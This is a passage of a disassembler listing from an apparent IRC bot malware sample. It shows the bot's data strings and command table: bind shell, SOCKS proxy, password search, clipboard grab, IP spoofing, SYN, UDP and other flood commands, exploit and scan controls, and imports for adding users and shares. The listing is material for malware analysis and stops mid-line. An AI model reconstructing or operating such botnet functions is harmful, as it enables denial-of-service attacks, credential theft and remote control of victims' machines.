; - ; DATA XREF: sub_401AA1:loc_403E79o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42E678 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_403E72o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42E6A4 db 2Dh ; - ; DATA XREF: sub_401AA1+23CAo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42E6C8 db 2Dh ; - ; DATA XREF: sub_401AA1+2337o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_17 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42E704 db 2Dh ; - ; DATA XREF: sub_401AA1+22DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42E740 db 2 ; DATA XREF: sub_401AA1+2200o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 70h ; p db 64h, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 31h aFailedToSta_18 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42E790 db 2 ; DATA XREF: sub_401AA1+21A7o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 70h ; p db 64h, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 31h aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42E7E0 db 2 ; DATA XREF: sub_401AA1+208Bo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 54h db 2 db 46h, 2, 54h db 2 db 70h, 2, 64h db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a1FailedToSta_1 db '1 Failed to start server thread, error: <%d>.',0 align 10h unk_42E830 db 2 ; DATA XREF: sub_401AA1+2032o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 54h db 2 db 46h, 2, 54h db 2 db 70h, 2, 64h db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a1ServerStarted db '1 Server started on Port: %d, File: %s.',0 align 4 unk_42E87C db 2 ; DATA XREF: sub_401AA1+1F85o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 70h ; p db 64h, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 31h aAlreadyRunni_1 db ' Already running.',0 align 10h dword_42E8B0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1:loc_403A10o dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h dd 61630253h, 2202C6Eh, 726F0250h, 73692074h, 26E6920h dd 6C610276h, 64026902h, 2Eh, 0 dword_42E910 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+1F10o dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h dd 61630253h, 2202C6Eh, 72680274h, 2C646165h, 2450220h dd 726F7272h, 2031033Ah, 3E64253Ch, 2Eh dword_42E970 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1:loc_403952o dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 25203103h dd 34032073h, 6F025002h, 2207472h, 61630253h, 5302206Eh dd 72617402h, 20646574h, 31036E6Fh, 3A732520h, 3206425h dd 2570234h, 20687469h, 44022061h, 616C6502h, 666F2079h dd 25203103h, 34032064h, 65025302h, 646E6F63h, 46022073h dd 3726F02h, 64252031h, 2340320h, 6E69024Dh, 73657475h dd 2550220h, 676E6973h, 25203103h, 34032064h, 68027402h dd 64616572h, 2E73h aSequential db 'Sequential',0 ; DATA XREF: sub_401AA1+1E86o ; sub_401AA1+5AFCo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401AA1+1E7Fo ; sub_401AA1+5AF5o align 10h dword_42EA30 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+1CC5o dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h dd 726C0241h, 79646165h, 25203103h, 34032064h, 63025302h dd 696E6E61h, 220676Eh, 72680254h, 73646165h, 254202Eh dd 206F026Fh, 61024D02h, 220796Eh, 65700253h, 69666963h dd 2E6465h unk_42EA98 db 2Dh ; - ; DATA XREF: sub_401AA1+1C53o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_19 db 'Failed to start search thread, error: <%d>.',0 unk_42EAD4 db 2Dh ; - ; DATA XREF: sub_401AA1+1BD7o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401AA1+1BA9o align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401AA1+1B98o align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1B82o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401AA1+1B6Bo align 4 aScanall db 'scanall',0 ; DATA XREF: sub_401AA1+1B41o dword_42EB54 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+1AF1o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 72432031h, 69687361h dd 6220676Eh, 2E746Fh aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401AA1:loc_40357Co ; sub_401AA1+1B2Bo align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401AA1+1AC6o align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401AA1+1AB1o align 4 aHttp db 'http',0 ; DATA XREF: sub_401AA1+1A9Co align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401AA1+1A87o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401AA1+1A72o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401AA1+1A5Do align 4 aCip db 'cip',0 ; DATA XREF: sub_401AA1+1A48o aCurrentip db 'currentip',0 ; DATA XREF: sub_401AA1+1A33o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401AA1+1A1Eo align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401AA1+1A09o align 4 aFarp db 'farp',0 ; DATA XREF: sub_401AA1+19F4o align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401AA1+19DFo align 4 aGc db 'gc',0 ; DATA XREF: sub_401AA1+19CAo align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401AA1+19B5o unk_42EC18 db 2Dh ; - ; DATA XREF: sub_401AA1+1977o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401AA1+195Co ; sub_401AA1+3C69o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401AA1:loc_4033E9o align 10h dword_42EC50 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+1928o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 24C2031h, 6967026Fh dd 26C206Eh, 74730269h, 2430220h, 6C706D6Fh, 2E657465h dd 0 dword_42EC94 dd 202E6425h, 7325h ; sub_40B311+46o dword_42EC9C dd 706D453Ch, 3E7974hdword_42ECA4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F6C1Fh ; DATA XREF: sub_401AA1+18BCo dd 269676Fh, 3003026Eh, 31032C31h, 31035D35h, 26C0220h dd 747369h dword_42ECD0 dd 6F6877h dword_42ECD4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F431Fh ; DATA XREF: sub_401AA1+1894o dd 264026Dh, 2C313003h, 5D353103h, 3103h dword_42ECF8 dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401AA1+1876o aOcmd db 'ocmd',0 ; DATA XREF: sub_401AA1+1861o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401AA1+184Co aDll db 'dll',0 ; DATA XREF: sub_401AA1+1837o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401AA1+1822o align 10h aDrv db 'drv',0 ; DATA XREF: sub_401AA1+180Do aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401AA1+17F8o align 10h aUp db 'up',0 ; DATA XREF: sub_401AA1+17E3o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401AA1+17CEo align 4 aPs db 'ps',0 ; DATA XREF: sub_401AA1+17B9o align 10h aProcs db 'procs',0 ; DATA XREF: sub_401AA1+17A4o align 4 aL4m3rz db 'l4m3rz',0 ; DATA XREF: sub_401AA1+178Fo align 10h aKh4l3d db 'Kh4l3d',0 ; DATA XREF: sub_401AA1+177Ao align 4 aSi db 'si',0 ; DATA XREF: sub_401AA1+1765o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401AA1+1750o aNi db 'ni',0 ; DATA XREF: sub_401AA1+173Bo align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401AA1+1726o aClg db 'clg',0 ; DATA XREF: sub_401AA1+1711o aClearlog db 'clearlog',0 ; DATA XREF: sub_401AA1+16FCo align 10h aLg db 'lg',0 ; DATA XREF: sub_401AA1+16E7o align 4 aLog db 'log',0 ; DATA XREF: sub_401AA1+16D2o aAl db 'al',0 ; DATA XREF: sub_401AA1+16BDo align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401AA1+16A8o aT: ; DATA XREF: sub_401AA1+1693o ; .XPack0:0043AC08o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401AA1+167Eo dword_42EDB0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+164Ao dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1FailedToReboo db '1 Failed to reboot system.',0 align 10h dword_42EDF0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+1643o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F626502h dd 6E69746Fh, 53022067h, 74737902h, 2E6D65h aR3start db 'r3start',0 ; DATA XREF: sub_401AA1+162Co aI: ; DATA XREF: sub_401AA1+1617o ; .XPack0:0043AC14o ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401AA1+1602o align 4 aS_1: ; DATA XREF: sub_401AA1+15EDo ; .XPack0:0043AC20o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401AA1+15D8o align 4 aQ: ; DATA XREF: sub_401AA1+15C3o ; .XPack0:off_43ABF8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401AA1+15AEo align 4 aDc db 'dc',0 ; DATA XREF: sub_401AA1+1599o align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401AA1+1584o align 4 aR: ; DATA XREF: sub_401AA1+156Fo ; sub_401AA1+3D76o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401AA1+155Ao align 4 aExplist db 'explist',0 ; DATA XREF: sub_401AA1+1545o aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401AA1+1530o aCbstats db 'cbstats',0 ; DATA XREF: sub_401AA1+151Bo aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401AA1+1506o align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401AA1+14F1o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401AA1+14DCo align 4 aStats db 'stats',0 ; DATA XREF: sub_401AA1+14C7o align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401AA1+14B2o align 10h dword_42EED0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+14A7o dd 3026E02h, 32C3430h, 33A3431h, 34h aScan_0 db 'Scan',0 ; DATA XREF: sub_401AA1+14A2o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401AA1+1489o align 4 dword_42EF08 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2650253h ; DATA XREF: sub_401AA1+147Eo dd 2750263h, 2650272h, 31300302h, 3431032Ch, 31033Ah aSecure_0 db 'Secure',0 ; DATA XREF: sub_401AA1+1479o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401AA1+1460o align 4 dword_42EF44 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaClone db 'Clone',0 ; DATA XREF: sub_401AA1+1450o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401AA1+1437o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401AA1+1422o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401AA1+140Do align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401AA1+13F8o align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401AA1+13E3o align 4 dword_42EF94 dd 234032Dh, 70746674h, 2D030264h, 0aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401AA1+13BAo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401AA1+1391o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401AA1+1368o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401AA1+133Fo align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401AA1+1316o unk_42EFDC db 2Dh ; - ; DATA XREF: sub_401AA1+12FCo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42F010 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; sub_401AA1+135Do dword_42F020 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; sub_401AA1+1358o dword_42F030 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; sub_401AA1+1334o dword_42F040 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; sub_401AA1+132Fo dword_42F050 dd 234032Dh, 676E6970h, 2D0302h ; sub_401AA1+13AFo dword_42F05C dd 676E6950h, 6F6C6620h, 646Fh ; sub_401AA1+13AAo dword_42F068 dd 234032Dh, 2706475h, 2D03h ; sub_401AA1+1386o dword_42F074 dd 20504455h, 6F6F6C66h, 64h ; sub_401AA1+1381o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401AA1+11C0o align 4 dword_42F08C dd 234032Dh, 6B6E6F77h, 2D0302h ; sub_401AA1+1282o dword_42F098 dd 6B6E6F57h, 6F6C6620h, 646Fh ; sub_401AA1+127Do aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401AA1+1197o align 10h dword_42F0B0 dd 234032Dh, 67726174h, 3023361h, 2Dh ; sub_401AA1+1264o dword_42F0C0 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; sub_401AA1+125Fo aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401AA1+116Eo align 4 dword_42F0DC dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; sub_401AA1+12E2o dword_42F0EC dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; sub_401AA1+12DDo aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401AA1+1145o align 4 dword_42F108 dd 234032Dh, 26E7973h, 2D03h ; sub_401AA1+1204o dword_42F114 dd 206E7953h, 6F6F6C66h, 64h ; sub_401AA1+11FFo aSynstop db 'synstop',0 ; DATA XREF: sub_401AA1+111Co dword_42F128 dd 234032Dh, 736F6464h, 2D0302h ; sub_401AA1+11E6o dword_42F134 dd 536F4444h, 6F6C6620h, 646Fh ; sub_401AA1+11E1o dword_42F140 dd 736F6464h, 6F74732Eh, 70hdword_42F14C dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_42F15C dd 20504354h, 69646572h, 74636572h, 0aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401AA1+10CAo align 4 dword_42F17C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F6C02h ; DATA XREF: sub_401AA1+10BFo dd 3003676Fh, 31032C31h, 31033A35h, 0 dword_42F1A0 dd 20676F4Ch, 7473696Ch, 0aLogstop db 'logstop',0 ; DATA XREF: sub_401AA1+10A1o dword_42F1B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 74740248h ; DATA XREF: sub_401AA1+1096o dd 31036470h, 32D3A35h, 31h aHttpstop db 'httpstop',0 ; DATA XREF: sub_401AA1+1078o align 10h dword_42F1E0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26C0252h ; DATA XREF: sub_401AA1+106Do dd 21F6F1Fh, 2690267h, 264026Eh, 2C313003h, 3A343103h dd 3103h aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401AA1+104Fo align 4 dword_42F218 dd 234032Dh, 6B636F73h, 3023473h, 2DhaSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401AA1+1026o align 4 aS4 db 's4',0 ; DATA XREF: sub_401AA1+1011o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401AA1+FFCo align 10h dword_42F240 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aServer_0 db 'Server',0 ; DATA XREF: sub_401AA1+FECo ; sub_401AA1+103Fo ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401AA1+FD3o align 4 aBd db 'bd',0 ; DATA XREF: sub_401AA1+FBEo align 10h aBindshell db 'bindshell',0 ; DATA XREF: sub_401AA1+FA9o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401AA1+F94o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401AA1+F7Fo align 10h aSec db 'sec',0 ; DATA XREF: sub_401AA1+F6Ao ; sub_401AA1+2D1Ao aSecure db 'secure',0 ; DATA XREF: sub_401AA1+F55o ; sub_401AA1+2D09o align 4 aSt db 'st',0 ; DATA XREF: sub_401AA1+F40o align 10h aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401AA1+F2Bo align 4 aRz db 'rz',0 ; DATA XREF: sub_401AA1+F16o align 10h aRulez db 'rulez',0 ; DATA XREF: sub_401AA1+F01o align 4 aVer db 'ver',0 ; DATA XREF: sub_401AA1+EECo aVersion db 'version',0 ; DATA XREF: sub_401AA1+ED7o aLo db 'lo',0 ; DATA XREF: sub_401AA1+EC2o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401AA1+EADo align 10h aDi3 db 'di3',0 ; DATA XREF: sub_401AA1+E83o ; sub_401AA1+E98o aRn db 'rn',0 ; DATA XREF: sub_401AA1+E6Eo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401AA1+E56o a63 db '63',0 ; DATA XREF: sub_401AA1+D25o align 4 asc_42F2E4: ; DATA XREF: sub_401AA1+CFDo unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401AA1+CC3o align 10h aServer_1 db '$server',0 ; DATA XREF: sub_401AA1+CB8o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401AA1+CA7o align 4 aChan db '$chan',0 ; DATA XREF: sub_401AA1+C8Bo align 4 aUser_2 db '$user',0 ; DATA XREF: sub_401AA1+C7Ao align 4 aMe db '$me',0 ; DATA XREF: sub_401AA1+C68o aD db '$%d',0 ; DATA XREF: sub_401AA1+BFAo aD_0 db '$%d-',0 ; DATA XREF: sub_401AA1+B44o align 4 asc_42F324: ; DATA XREF: sub_401AA1+A66o ; .XPack0:0043AC3Co ... unicode 0, <l>,0 aK: ; DATA XREF: sub_401AA1+A4Eo ; sub_401AA1+3DA4o ... unicode 0, <k>,0 unk_42F32C db 2Dh ; - ; DATA XREF: sub_401AA1+A2Bo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42F360 db 2Dh ; - ; DATA XREF: sub_401AA1+A1Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42F390 db 2Dh ; - ; DATA XREF: sub_401AA1+9F4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_20 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42F3C8 db 2Dh ; - ; DATA XREF: sub_401AA1+99Bo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401AA1+907o align 10h unk_42F3F0 db 2Dh ; - ; DATA XREF: sub_401AA1+8EAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 dword_42F434 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401AA1+8BAo dd 0A0Dh dword_42F44C dd 4E495001h, 47hdword_42F454 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401AA1+87Bo dd 0D017325h, 0Ah dword_42F470 dd 52455601h, 4E4F4953h, 1dword_42F47C dd 23h ; sub_40CC4F+1Bo unk_42F480 db 2Dh ; - ; DATA XREF: sub_401AA1+73Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_2 db '%s',0 ; DATA XREF: sub_401AA1+6C5o ; sub_401AA1+944o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401AA1+69Eo align 4 dword_42F4BC dd 43434401h, 0 dword_42F4C4 dd 323333h ; sub_401AA1+A88o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401AA1+5E4o ; sub_409743+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401AA1+5D8o ; sub_409743+16o dword_42F4D8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+567o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4A022031h, 6E696F02h dd 2206465h, 61680243h, 6C656E6Eh, 2034033Ah, 2E7325h dword_42F518 dd 333533h aQuit db 'QUIT',0 ; DATA XREF: sub_401AA1+4F9o ; sub_40F6A7+5B6o align 4 aPart db 'PART',0 ; DATA XREF: sub_401AA1+4E8o ; sub_401AA1+5A4o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401AA1+4C3o align 4 aNick db 'NICK',0 ; DATA XREF: sub_401AA1+3AFo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+352o ; sub_401AA1+5C8o align 10h dword_42F550 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+339o ; sub_401AA1+587o ... dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h dd 25203403h, 31032073h, 6F026C02h, 65026767h, 6F206402h dd 74027502h, 2Eh aKick db 'KICK',0 ; DATA XREF: sub_401AA1+2D6o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+27Fo ; sub_401AA1+79E3o ... align 4 a433 db '433',0 ; DATA XREF: sub_401AA1+257o ; sub_417CCD:loc_417D42o a@: ; DATA XREF: sub_401AA1+22Co unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401AA1+21Co a005 db '005',0 ; DATA XREF: sub_401AA1+207o a001 db '001',0 ; DATA XREF: sub_401AA1+1F2o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1D6o ; sub_401AA1+39Co ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1B5o align 4 aPing db 'PING',0 ; DATA XREF: sub_401AA1+19Bo ; sub_417CCD+4Eo align 4 asc_42F5E4: ; DATA XREF: sub_401AA1+18Co ; sub_401AA1+7AECo unicode 0, <!>,0 asc_42F5E8: ; DATA XREF: sub_401AA1+A8o ; sub_401AA1+DFAo ... unicode 0, < >,0 asc_42F5EC db ' :',0 ; DATA XREF: sub_401AA1+86o ; sub_401AA1:loc_402581o align 10h aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409743+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4097DE+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4097DE+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4097DE:loc_40A448o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4097DE+C15o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4097DE+C08o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4097DE+BFBo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4097DE+BEEo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4097DE+BE1o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4097DE+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4097DE:loc_40A3AAo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4097DE+B97o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4097DE+B8Fo align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4097DE:loc_40A360o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4097DE+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4097DE+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4097DE+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4097DE+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4097DE:loc_40A2ECo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4097DE+AD9o align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4097DE+AD1o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4097DE:loc_40A2A2o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4097DE+A8Fo align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4097DE+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4097DE:loc_40A258o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4097DE+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4097DE+9ECo ; sub_418C2F+54o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4097DE+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4097DE+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4097DE+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4097DE+9B8o align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4097DE+9ABo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4097DE+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4097DE+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4097DE+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4097DE+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4097DE+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4097DE:loc_40A13Co ; sub_418C2F+47o align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4097DE+921o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4097DE+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4097DE+90Co align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4097DE:loc_40A0DDo align 4 aMozilla4_0Comp db 